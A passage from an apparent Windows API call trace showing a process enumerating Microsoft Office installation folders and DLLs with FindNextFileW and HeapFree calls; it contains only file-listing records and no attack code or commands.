ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0062.276] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.276] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0062.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.278] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0062.280] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.280] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0062.697] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0062.698] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0062.700] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.700] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0062.701] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.701] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0062.703] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.703] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0062.705] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0062.705] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0063.078] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.079] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0063.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.081] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0063.085] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.085] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0063.086] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.086] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0063.089] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.089] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0063.091] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.091] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0063.092] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.092] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0063.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.095] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0063.098] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.098] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0063.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.099] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0063.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.101] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0063.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0063.103] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0063.103] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0063.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.103] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0063.103] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0063.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.104] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0063.106] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43db058 | out: hHeap=0x6a0000) returned 1 [0063.106] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0063.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.109] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0063.111] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.111] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0063.112] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.112] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0063.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.114] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0063.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.501] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0063.503] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.503] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0063.504] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.504] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0063.507] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.507] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0063.508] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.508] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0063.510] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.510] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0063.512] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.512] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0063.514] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.514] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0063.515] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0063.517] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0063.519] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, 